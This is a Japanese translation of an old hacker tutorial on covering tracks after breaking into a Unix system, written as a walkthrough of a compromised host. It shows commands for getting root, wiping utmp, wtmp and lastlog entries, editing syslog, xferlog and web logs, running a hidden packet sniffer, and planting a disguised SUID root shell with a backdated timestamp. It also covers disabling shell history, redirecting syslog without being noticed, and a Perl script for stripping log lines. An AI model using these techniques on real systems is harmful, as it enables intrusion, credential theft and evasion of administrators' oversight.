==================== お子様 UNIX 第7部 ======================= ---------------------------- 第6章 ログをきれいにする Chapter VI Cleaning the log files ---------------------------- [訳注] ドキュメンタリータッチで始まります。 その場にいる雰囲気で緊張してお楽しみください。 ------------------------------ 第6A章 システムを歩き回る Section 6A A walk around a hacked system ------------------------------- 私はこれを強調する。 Clean, Clean!!!! これから君をシステムに連れて行き、いくつかの基本を示す。そしてどのように 自分の存在をシステムから消すかを。まず、システムにログインしよう。 ここでは一歩ずつ基本を見ていく。 ******---->誰がマシンにいるか [/home/master]finger @victim.net [victim.net] No one logged on. ******----> よろしい。誰もいない。ログインしよう。(*1) [/home/master]telnet victim.net Trying xxx.206.xx.140... Connected to victim.net. Escape character is '^]'. Welcome to Victim Research Linux (http://www.victim.net) Red Hat 2.1 Kernel 1.2.13 on a i586 ns.victim.net login: jnsmith Password: Linux 1.2.13. You have new mail. ******----> 彼のメールを読んではいけない。すべてのメールは /var/spool/mail あるいは、/home/username/mail ディレクトリで catする。 ******----> 再び、誰がいるかチェックする。 [jnsmith@ns jnsmith]$ w 5:36am up 18 days, 8:23, 1 user, load average: 0.01, 0.00, 0.00 User tty login@ idle JCPU PCPU what jnsmith ttyp1 5:35am w ******----> 私だけだ。root を取って utmp を消そう。 [jnsmith@ns jnsmith]$ cd .term ******----> 隠すには良いディレクトリだ。;) [jnsmith@ns .term]$ ./.u ******----> 私はすでにこれを作っておいた。umounc.c を使った。 これは Bloodmask and Vio, Covin 1996 による。 ******----> 我々は今や root だ。 z2 を使おう。(*2) bash# z2 jnsmith Zap2! ******---->まだ、我々がいるか見てみよう... bash# w 5:37am up 18 days, 8:24, 0 users, load average: 0.08, 0.02, 0.01 User tty login@ idle JCPU PCPU what ******----> 誰もいない。どうやら私はログオフしたに違いない ;) ******----> 我々は root だ。しかしチェックしてみよう... bash# whoami root bash# ******----> そう、root .. どのディレクトリにいるか ? bash# pwd /home/jnsmith/.term ******----> ログをチェックしよう。 bash# cd /var/log ******----> ほとんどは /var/adm だ。このマシンは /var/log を使っている。(*3) bash# grep dormroom * maillog:Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com maillog:Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com ******----> そう、z2 はすべての面倒を見てくれるわけではない ... bash# pico maillog ******----> 私は pico で ctrl w, dormroom をサーチした。(*4) ctrl k で消す。 ******----> これを削除した。 Jan 29 05:31:58 ns in.telnetd[22072]: connect from dormroom.playhouse.com Jan 29 05:35:29 ns in.telnetd[22099]: connect from dormroom.playhouse.com bash# grep dormroom * ******----> .. すべてクリアだ。;) bash# w 5:41am up 18 days, 8:27, 0 users, load average: 0.00, 0.00, 0.00 User tty login@ idle JCPU PCPU what ******----> そう、 .. すべて消えている。;) ******----> もし、grep が何か示していたら、 どのように lled と wted を使うか示そう。 bash# cd ~jnsmith/.term bash# lled bash# lled -c dormroom.playhouse Entries stored: 527 Entries removed: 0 chmod lastlog.tmp を実行して /var/log/lastlog に上書きする。 ******----> lastlog は消えた。 bash# bash# wted -e jnsmith Entries stored: 254 Entries removed: 0 chmod wtmp.tmp を実行して /var/log/wtmp を上書きする。 ******----> wtmp には何もない。 ******----> sniffing をやろう ... (*5) bash# pico linsniffer.c ******----> 私は次の行を変えた。ログの場所だ。 #define TCPLOG "/tmp/.pinetemp.000" ******----> 何が走っているか調べよう。それから名前を決める。 bash# ps -aux root 143 0.0 0.0 84 0 ? SW Jan 10 0:01 (lpd) root 154 0.0 0.0 118 0 ? SW Jan 10 0:00 (smbd) root 163 0.0 0.5 76 176 ? S Jan 10 0:00 nmbd -D root 197 0.0 0.0 76 0 v03 SW Jan 10 0:00 (getty) root 198 0.0 0.0 76 0 v04 SW Jan 10 0:00 (getty) root 199 0.0 0.0 76 0 v05 SW Jan 10 0:00 (getty) root 200 0.0 0.0 76 0 v06 SW Jan 10 0:00 (getty) root 201 0.0 0.0 88 0 s00 SW Jan 10 0:00 (uugetty) root 209 0.0 0.2 35 76 ? S Jan 10 0:01 (update) root 210 0.0 0.3 35 124 ? S Jan 10 0:03 update (bdflush) root 10709 0.0 1.4 152 452 ? S Jan 27 0:10 httpd root 11111 0.0 1.4 152 452 ? S Jan 27 0:07 httpd root 14153 0.0 0.8 70 268 ? S Jan 16 0:03 ./inetd root 14307 0.0 4.7 1142 1484 ? S Jan 16 1:16 ./named root 14365 0.0 0.0 76 0 v02 SW Jan 16 0:00 (getty) root 17367 0.0 1.4 152 452 ? S 11:01 0:02 httpd ******----> コンパイルして名前を nmb にする。 bash# gcc linsniffer.c -o nmb ******----> ロードしよう ... bash# nmb& [1] 22171 ******----> /tmp のログファイルをチェックしよう。 bash# bash# cd /tmp bash# ls -al .pin* total 15691 -rw-rw-r-- 1 root jnsmith 0 Jan 29 05:50 .pinetemp.000 ******----> ここにある。しかし我々のログインは知られたくない ! bash# chgrp root .pin* ******----> このようになる。 .... bash# ls -al .pin* -rw-rw-r-- 1 root root 0 Jan 29 05:50 .pinttemp.000 bash# ******----> これでよい。次のために SUID shell を作っておこう。 ( MD5 や cron の他のプログラムをチェック) bash# cd /bin bash# ls -l sh lrwxrwxrwx 1 root root 4 Mar 1 1996 sh -> bash ******----> これはシンボリック・リンクだ ... bash# ls -l bash -rwxr-xr-x 1 root root 299296 Nov 2 1995 bash ******----> これが本当のファイルだ。ファイル名を決めよう。 bash# ls arch df ksh ping tar ash dmesg ln ps tcsh bash dnsdomainname login pwd true cat domainname ls red ttysnoops chgrp echo mail rm umount chmod ed mkdir rmdir uname chown false mknod sed vi cp findterm more setserial view cpio gunzip mount sh vim csh gzip mt stty zcat date hostname mv su zsh dd kill netstat sync ******----> 新しい linux のコマンド.. 多くの admin は違いを良く知らない。 findhost にしよう。 bash# cp bash findhost ******----> ok, 新しいコマンドに見えるようにしよう ... bash# ls -l findhost -rwxr-xr-x 1 root jnsmith 299296 Jan 29 05:59 findhost ******----> group と owner を変えなくてはいけない。ファイルの日付も。 そして SUID にする。 bash# chgrp root findhost bash# ls -l findhost -rwxr-xr-x 1 root root 299296 Jan 29 05:59 findhost bash# chmod +s findhost bash# ls -l findhost -rwsr-sr-x 1 root root 299296 Jan 29 05:59 findhost bash# touch -t 111312331995 findhost bash# ls -l findhost -rwsr-sr-x 1 root root 299296 Nov 13 1995 findhost bash# ls -l m* -rwxr-xr-x 1 root root 64400 Oct 31 1995 mail -rwxr-xr-x 1 root root 7689 Nov 2 1995 mkdir -rwxr-xr-x 1 root root 7001 Nov 2 1995 mknod -rwxr-xr-x 1 root root 20272 Nov 1 1995 more -rwsr-xr-x 1 root root 26192 Nov 1 1995 mount -rwxr-xr-x 1 root root 8381 Oct 31 1995 mt -rwxr-xr-x 1 root root 12753 Nov 2 1995 mv ******----> まるでそこにあったようだ。root を与えてくれるか調べよう。 今の shell から抜ける。 bash# exit [jnsmith@ns .term]$ cd /bin [jnsmith@ns /bin]$ whoami jnsmith [jnsmith@ns /bin]$ findhost [jnsmith@ns /bin]# whoami root [jnsmith@ns /bin]# cd ******----> cd {enter} はホームディレクトリに連れ戻してくれる。 [jnsmith@ns jnsmith]# ls mail [jnsmith@ns jnsmith]# echo + +>test [jnsmith@ns jnsmith]# ls -l total 2 drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail -rw-rw-r-- 1 root root 4 Jan 29 06:11 test ******----> 我々は uid=0 gid=0 だ。 [jnsmith@ns jnsmith]# rm test ******----> 削除する ..... [jnsmith@ns jnsmith]# w 6:12am up 18 days, 8:58, 0 users, load average: 0.07, 0.02, 0.00 User tty login@ idle JCPU PCPU what ******----> 依然として我々だけだ .... [jnsmith@ns jnsmith]# ls -al /tmp/.p* total 15692 -rw-rw-r-- 1 root root 157 Jan 29 06:10 .pinttemp.000 ******----> すでに動いている ;) (*6) [jnsmith@ns jnsmith]# ls -al total 32 drwxrwx--- 5 jnsmith jnsmith 1024 Jan 29 06:11 . drwxr-xr-x 33 root users 1024 Jan 22 16:53 .. -rw-r----- 1 jnsmith jnsmith 1126 Aug 23 1995 .Xdefaults lrwxrwxrwx 1 jnsmith jnsmith 9 Jan 1 21:40 .bash_history -> /dev/null -rw-r--r-- 1 root jnsmith 24 Jan 1 03:12 .bash_logout -rw-r--r-- 1 root jnsmith 220 Jan 1 03:12 .bash_profile -rw-r--r-- 1 root jnsmith 124 Jan 1 03:12 .bashrc -rw-rw-r-- 1 root jnsmith 5433 Jan 11 22:47 .pinerc drwxrwxr-x 2 jnsmith jnsmith 1024 Jan 29 06:22 .term drwxr-x--- 2 jnsmith jnsmith 1024 Feb 17 1996 .xfm drwx------ 2 jnsmith jnsmith 1024 Jan 11 22:47 mail [jnsmith@ns jnsmith]# ******----> .bash_history を /dev/null へリンクする。history を残さないように... もし古い .bash_history があったら消す。そしてリンクする。 ln -s /dev/null .bash_history Ok ログアウトしよう ... 別の方法もある。 もし試してみたいのなら絶対に忘れてはいけない。これをログインする度に使う。 unset HISTFILE これはシステムにログオフした時に history ファイルを消すように指示する。 これを使う。そして習慣にする。絶対に忘れてはいけない。 ---------------------------------------------------------- (*1) root が ZAP2 を使っていない事を祈ろう。 (*2) ZAP2の他にもbanish etc ある。ZAP2+ はユーザー名を変更できる。 これらはファイルを消しそこなってもエラーにならない。必ずチェックする事。 (*3) /var/adm と /var/log はリンクされている。 (*4) pico はテキストエディタ。サーチと行削除が簡単なのでこれを選んだと思われる。 (*5) くれぐれもプロミスキャスの旗をぱたぱたさせないように。:-p ----------------------------------------------- セクション6B messagesとsyslog (ログファイル) Section 6B messages and syslog ------------------------------------------------ ログを保存するディレクトリで 'messages' というファイルが見つかるだろう。 それぞれのシステムで、何がログされるか、どのファイルに保存されるかは違う。 /etc/syslog.conf をチェックして他のマシンにログされていないか調べる。もし これを行なっていたら、次のような設定がある。 *.* @somehostname.xxx (*1) どこにログファイルがあるかチェックして、ログファイルを見る。 例えば ... bash# more syslog.conf # /etc/syslog.conf # For info about the format of this file, see "man syslog.conf" (the BSD man # page), and /usr/doc/sysklogd/README.linux. # # NOTE: YOU HAVE TO USE TABS HERE - NOT SPACES. # I don't know why. # *.=info;*.=notice /var/adm/messages *.=debug /var/adm/debug *.warn /var/adm/syslog *.warn /root/.../syslog *.=crit;kern.none /var/adm/critical kern.info;kern.!err /var/adm/kernel-info mail.*;mail.!=info /root/.../mail mail,news.=info /root/.../info mail.*;mail.!=info /var/adm/mail mail,news.=info /var/adm/info *.alert root,bob (*2) *.=info;*.=notice @quality.com *.=debug @quality.com *.warn @quality.com *.=crit;kern.none @quality.com kern.info;kern.!err @quality.com mail.*;mail.!=info @quality.com mail,news.=info @quality.com いくつかのログは /root の隠しディレクトリに送られる。そしてすべての alert と warning のコピーもまた、quality.com に送られる。wtmp,utmp,lastlogはローカル だ。まだ、望みがある。このシステムでは su を使わないことをにする。 また、このシステムでは、alert が root と bob のメールされることに注意する。 suslog,mail,info は /var/adm に送られているので、愚かにもすべてのログは /var/adm にあると考えてはいけない! もし /var/adm を編集しても管理者は /root ディレクトリのバックアップファイルで、diff を行なうかも知れない。 Ok, それでは /var/adm か /var/log へ行く。 (*3) grep yourhost * |more grep your ip * |more いくつかのファイルが、君のコネクションを記録していることがわかる。どの ファイルが記録しているか、メモする。そして /etc/syslog.conf をエディット する。多くの場合、トライ&エラーを行ない、君のドメインからのログをスキッ プさせる。 しかし、いくつかの事に注意しなければいけない。ファイルをエディットしたら、 syslogd をリスタートしなければいけない。ps -x を行なう。 $root> ps -x 39 ? S 1:29 /usr/sbin/syslogd syslogd が見つかりそのプロセスIDが 39 であることがわかる。そこで、 kill -HUP 39 これでプロセスがリスタートして変更が有効になる。 もうひとつ重要なことは、エディットする前に ls -l /etc/syslog.conf を行ない エディット後にファイルの日付を touch で元の日付に戻す。これによりロギング が違うを気づいても、ファイルの日付をチェックして他の原因だと思ってくれる だろう。ほとんどの管理者はこのファイルのセットアップを良く知らない。そこ で(ほとんど)うまくいく可能性がある。 別のファイルがある。 /etc/login.defs # Enable "syslog" logging of su activity - in addition to sulog file logging # SYSLOG_SG_ENAB does the same for newgrp and sg. # SYSLOG_SU_ENAB yes SYSLOG_SG_ENAB yes # # If defined, all su activity is logged to this file # SULOG_FILE /home/users/bob/.list (訳注:su logの位置を指定) su ログが管理者の一人の隠しファイルに送られている。 (*4) ---------------------------------------------------------- (*1) すべてのメッセージはリモートの somehostname.xxx にリダイレクトされる。 (*2) alert より高位のメッセージは root と bob のターミナルに送られる。 (彼らがシステムにログインしていれば) (*3) 重要なファイルの位置はシンボリックリンクされていることもある。 (*4) デフォルトでは su の記録は messages に送られる。login.defs で su ログの 場所を指定すれば、両方に送られる。 ------------------------------- セクション6C xferlog(転送ログ) Section 6C xferlog ------------------------------- xferlog はテキストエディタで編集できる。pico, joe, vi, など.. 自分の転送をサーチして、その行を削除してセーブする。どんなファイルを転送した あとでも必ず行わなければならない。 もし、phf を使ったなら /usr/local/etc/httpd/log ディレクトリで grep して そこから自分の存在を消す。 grep (ユーザー名 あるいは ホスト名) * |more もし、httpd のログの位置が分からなかったら、find -name httpd.conf を実行する。 configファイルを調べると、どこに http ログがあるか分かる。 いくつかの ftp あるいは バーチャル ftp では、ディレクトリが異なる。 /etc/ftp* ファイルを調べて、どのように ftp がセットアップされているか調べる。 私は、pico,joe などのエディタを使い、どのようにログを編集するか教えた。 別の方法もある。時にはログファイルがエディタを使うには大きすぎることがある。 どのようにするか。 You have a messages file 20 meg ... わぉ ! fudge.candy.com をこのファイルから消す時には、このようにする。 grep -v fudge.candy >messages.2 rm messages mv messages2 messages ここで、 kill -HUP >process id for syslogd> -v は grep がマッチしない行を出力する。grep の後でファイルサイズをチェックして エラーが無い事を確かめた上でファイルを置き換えて、syslogd をリスタートさせる。 これは他のログ、xferlog, syslog... でも使える。 これはコマンドラインから行う perl スクリプトだ。 ------------------- start of riptext.pl #!/usr/bin/perl # # RipText - Takes regular expression and filename argument from @ARGV. Any # lines MATCHING regular expression will *not* be printed to # STDOUT. # # die("\nUsage: riptext [regexp] {filename}\n\n") if (!defined($ARGV[0])); ($regexp, $filename) = @ARGV[0,1]; # Read in contents of file. $/ = undef; $contents=""; if (!defined($filename)) { # Use STDIN. $contents = scalar >STDIN> } else { # Use FILE. open(FILE, ">$filename") || die("-RipText- Cannot open $filename: $!\n"); $contents = scalar >FILE> close(FILE); } @contents = split(/\n/, $contents); # Strip file of matching lines. open(FILE, ">$filename") || die("-RipText- Cannot write $filename: $!\n"); foreach (@contents) { print FILE "$_\n" unless (/$regexp/i); } close(FILE); 0; ------------------------ end of riptext.pl ファイルをエディットした後に、syslogd のリスタートを忘れない事。消えたと思 ってもプロセスをリスタートしなければ、リスタートさせるまで依然としてデータ はメモリーにある。 また、syslogd がリスタートした時間は、syslog にある。 ----------------------------- セクション6D cron テーブル Section 6D The cron table ----------------------------- 管理者と root の cron ファイルはよく調べること。このシステムで我々は root の cron ファイルを見つけた。/var/spool/cron/crontab にあった。 bash# ls -l total 1 -rw------- 1 root root 851 Jan 26 14:14 root bash$ more root # This updates the database for 'locate' every day: 40 07 * * * updatedb 1> /dev/null 2> /dev/null 40 */12 * * * /sbin/checkfs これは /sbin の chekfs が走るファイルだ。 bash$ cd /sbin bash$ /sbin # more checkfs #!/bin/bash if [ ! -f /etc/default/fs/.check ]; then echo WARNING!! Filecheck default file cannot be found. Please regenerate. exit fi md5sum /usr/bin/* > /tmp/filecheck 2>/dev/null md5sum /usr/sbin/* >> /tmp/filecheck 2>/dev/null md5sum /sbin/* >> /tmp/filecheck 2>/dev/null md5sum /bin/* >> /tmp/filecheck 2>/dev/null md5sum /usr/local/bin/* >> /tmp/filecheck 2>/dev/null md5sum /usr/local/sbin/* >> /tmp/filecheck 2>/dev/null md5sum /lib/* >> /tmp/filecheck 2>/dev/null md5sum /usr/lib/* >> /tmp/filecheck 2>/dev/null diff /tmp/filecheck /etc/default/fs/.check > /tmp/filecheck2 2>&1 if [ -s /tmp/filecheck2 ]; then mail -s FSCheck bin > /tmp/filecheck2 fi rm /tmp/filecheck /tmp/filecheck2 2>/dev/null md5 はファイルをチェックする。もし上記のディレクトリのファイルに変更や追加が あれば、その情報を管理者にメールする。 ---------------------------------------------------------- [訳者後記] Linux というのは、基本的にカーネルだけです。それにいろいろなコマンドやプログラ ムくっつけて、配布パッケージとなっています。(ディストリビューションと呼ばれる) 従って同じ Linux でもかなり感じが違うものになっています。代表的なものは、 Slackware RED HAT DEBIAN LINUXWARE LINUX UNIVERSE ........ この中でも、RED HAT はバージョンアップのときに、バグの詳細な情報を出すので、 賛否両論があります。つまり、黙ってればいいのに悪用されそうな情報まで公開し てしまう。(Muhihi) バージョンアップしないと危険だ、と思ってしまう。 実際には、(CERTであっても)公開されてから実際にアタックが増えるまでには、数ヶ月 〜1年くらいの時間があります。なぜか秋になるとアタックが増えるというもの、事実 のようです。重大なバグだと思ってもちゃんと対策すれば、そんなに被害がでるもので はありません。いずれにせよ、優秀な Spider や UeberCracker はどこからでも入って 来るでしょう。やはり、情報は公開してもらいたいものです。 ....Unixの基本は、Free Information なのですから。 では、久しぶりに宿題です。 1)ZAP2 を使っても、まだ存在を示すコマンドはあるか調べなさい。 HINT: ps,netstat.. 2)md5 以外のファイルの変更を調べるツールを探しなさい。 HINT: Tripwire..